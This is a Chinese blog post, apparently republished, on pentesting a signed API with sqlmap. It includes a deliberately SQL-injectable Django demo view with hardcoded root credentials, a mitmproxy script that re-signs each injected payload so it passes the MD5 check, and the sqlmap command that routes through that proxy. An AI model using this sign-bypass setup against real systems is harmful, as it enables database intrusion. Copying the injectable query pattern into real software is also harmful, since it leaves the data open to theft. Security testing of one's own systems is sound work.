sqlmap处理sign加密的思路

我对公司的APP进行测试的时候发现,我们是将所有的参数内容加上一个32位字符最后在进行MD5加密。由于APP处理的流程首先是验证sign是不是正确,如果验签失败,根本就进不去数据库,为了要使用SQLMAP对其进行测试,于是就写了一个代理数据的脚本,在拦截到数据包之后,对其参数内容和32字符进行加密替换。

注:该脚本适用于公司内部系统,因为能够知道加密的流程;或者能够拿到前端JS的加密方式。

首先我使用Django写了一个程序来模拟公司的系统,流程是获取POST的id和token,并加上自定义加密的字符,由于Django获取到数据是已经经过URLDECODE,所以我用了quote对参数id的内容进行URLENCODE,再进行MD5加密,最后验证请求过来的token是否和参数内容一致。

views.pyfrom django.shortcuts import renderfrom django.http import JsonResponse# Create your views here.import hashlibimport MySQLdbimport urllibfrom django.views.decorators.csrf import csrf_exempt@csrf_exemptdef index(request):    id = request.POST.get("id")    token = request.POST.get("token")    str = urllib.quote(id+"test")    print(str)    hl = hashlib.md5()    hl.update(str)    token1 = hl.hexdigest()    print token1    if token == token1:        db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8')        cursor = db.cursor()        cursor.execute("select * from t_userinfo where id="+id)        data = cursor.fetchone()        print "Database version : %s " % data        db.close()        return JsonResponse({"msg":"verity ok"})    else:        return JsonResponse({"msg":"verity error."})models.pyclass userinfo(models.Model):    name = models.CharField(max_length=100)    age = models.CharField(max_length=100)

使用BP进行抓包,可以看到当验证正确和验证错误返回的状态。

sqlmap处理sign加密的思路sqlmap处理sign加密的思路

使用SQLMAP进行测试,发现无法测试。
sqlmap处理sign加密的思路于是我使用mitmproxy,mitmproxy是一个交互式的中间代理HTTP和HTTPS的控制台界面,具体详情可以看这里。

如果要修改的话,只修改wsproxy_request_handle函数,因为这个函数是拦截数据并且篡改数据的过程,其他的代码都是配置过程和运行过程,不用修改。

from mitmproxy.proxy.server import ProxyServerfrom mitmproxy import flow,  controllerfrom mitmproxy import flow, proxy, controller, optionsimport hashlibimport redef md5cr(str):    hl = hashlib.md5()    hl.update(str.encode(encoding='utf-8'))    return hl.hexdigest()class WSProxy(flow.FlowMaster):    def __init__(self, opts, server, state, unsave_data):        super(WSProxy, self).__init__(opts, server, state)        self.unsave_data = unsave_data    def run(self):        try:            print("start")            flow.FlowMaster.run(self)        except KeyboardInterrupt:            self.shutdown()    @controller.handler    def request(self, f):        wsproxy_request_handle(f)    @controller.handler    def response(self, f):        wsproxy_response_handle(f)        # parser = ResponseParser(f)        # insert_result(parser.parser_data())def wsproxy_request_handle(flow):    """wyproxy send data to server before processing"""    try:        data = flow.request.content.split("&")        t = ""        for i in data:            if i.split("=")[0] != "token":                t = t+i.split("=")[1]        str = t+"test"        sign = md5cr(str)        print(str)        data1 = re.match("(.*?)token=",flow.request.content).group()        flow.request.content = data1+sign        print(flow.request.content)    except IndexError:        passdef wsproxy_response_handle(flow):    passport = 8888  #mode = 'regular'  #mode=regularopts = options.Options(        listen_port=int(port),        mode=mode,        cadir="./ssl/",)unsave_data = Falseconfig = proxy.ProxyConfig(opts)state = flow.State()server = ProxyServer(config)m = WSProxy(opts, server, state, unsave_data)m.run()

运行上面的脚本使用SQLMAP代理到上http://IP:8888上面,然后脚本会自动处理sqlmap的payload和生成对应的sign。

python sqlmap.py -r e:\1.txt -p id --dbms=mysql --batch  --proxy=http://192.168.1.240:8888

sqlmap处理sign加密的思路

上面是生成payload和sign的过程,下面是我请求一个payload报错的过程。

sqlmap处理sign加密的思路

sqlmap处理sign加密的思路

感谢大家的阅读,以上就是“sqlmap处理sign加密的思路”的全部内容了,学会的朋友赶紧操作起来吧。相信亿速云小编一定会给大家带来更优质的文章。谢谢大家对亿速云网站的支持!

文章标题:sqlmap处理sign加密的思路,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/28290

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月21日 下午10:52
下一篇 2022年9月21日 下午10:54

相关推荐

  • UAC被禁用有哪些影响

    UAC被禁用的影响:1、UAC的目的就是在用户打开一些不被完全信任的应用程序时,给于用户一定的提示,用户在确定打开的软件不会对计算机造成影响时才可以打开;关闭之后,打开任何程序都不会出现提示,所以安全风险会增加。2、可能会导致Metro应用无法打开。 本教程操作环境:windows10系统、Dell…

    2022年9月1日
    97600
  • css中translate的含义是什么

    translate的意思为“移动”,是css内置的一个函数,与transform属性配合使用,可以将元素沿着水平方向(X轴)和垂直方向(Y轴)移动。translate的使用分为3种情况:1、“translateX(x)”,元素仅在水平方向移动;2、“translateY(y)”,元素仅在垂直方向移动…

    2022年9月22日
    1.2K00
  • 0xc000007b无法启动软件如何解决

    因为有些应用程序在运行时需要安装必须的组件,如果没有安装的话,可能就会在启动时弹出0xc000007b无法启动软件的提示,这时候我们只要为电脑安装他们就可以了,下面一起来看看吧。 0xc000007b无法启动软件怎么办: 方法一: 1、如果我们不知道安装什么组件,那么可以下载安装一个修复软件。【di…

    2022年9月16日
    73600
  • 怎么进行SpyNote5.0 Client_APK逆向分析

    1. SpyNote5.0 是什么? SpyNote是用来创建Android恶意程序的工具。它的功能引人注目,读取联系人、录音、命令执行、应用管理、键盘记录、GPS定位等等。这些功能对于研究安Android端恶意程序起到承上启下的作用。咱们能够通过一系列文章对于它的使用初步了解,《SpyNote V…

    2022年9月18日
    72900
  • windows edge浏览器js错误表示如何解决

    edge浏览器js错误表示解决方法: 1、进入edge浏览器,点击右上角三个点依次打开“更多工具—>使用Internet explorer打开”。 2、点击右上方的齿轮设置,点击“Internet 选项”。 3、在Internet选项中选择“安全”点击下方的“自定义级别”。 4、下滑找到“脚本…

    2022年9月8日
    82900
  • Web.config在渗透中的作用是什么

    前言  下面主要介绍web.config文件在渗透中的作用,即可上传一个web.config时的思路,话不多说,开始正题。首先我们来看一下web.config是什么,援引百度百科的介绍:  Web.config文件是一个XML文本文件,它用来储存ASP.NETWeb 应用程序的配置信息,它可以出现在…

    2022年9月24日
    73900
  • 电脑提示该内存不能为read如何解决

    电脑提示该内存不能为read的解决方法 1、打开运行窗口。 2、在运行窗口中输入命令cmd,回车确定。 2、将下面代码“for %1 in (%windir%system32*.dll) do regsvr32.exe /s %1”复制粘贴到管理员窗口中。 4、点击回车键,等待程序运行结束。 以上就…

    2022年9月2日
    72700
  • windows驱动精灵检测不到显卡驱动如何解决

    解决方法: 方法一: 可能很多小伙伴在安装驱动的时候没有弄清楚自己的型号。 32位的驱动是无法装在64位上的。 小伙伴们应该尝试重新安装驱动。 方法二: 驱动太过老旧也是无法检测到的。 使用驱动精灵进行一下检测。 查看驱动是否需要进行更新。 1、进入驱动精灵,点击“硬件检测”。 2、如果驱动需要升级…

    2022年9月10日
    95300
  • 如何深度分析Nazar 组件

    6:22 AM 11/7/2012 conficker still on target 6:18 AM 11/7/2012 checking logs – we are clean 8:16 PM 7/2/2012 – BOOM!, got the callback 这些是方…

    2022年9月15日
    59000
  • tracert命令怎么使用

    tracert命令的用法: 1、首先点击左下角开始,然后打开“运行”。 2、之后输入代码“cmd”。 3、在打开的窗口中输入“tracert”。 4、该命令是路由器追踪命令,接着继续输入“tracert+需要追踪ip地址”, 在tracert后面加一个空格,并按下回车。 5、最后就会显示追踪路由的全…

    2022年8月31日
    70400
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部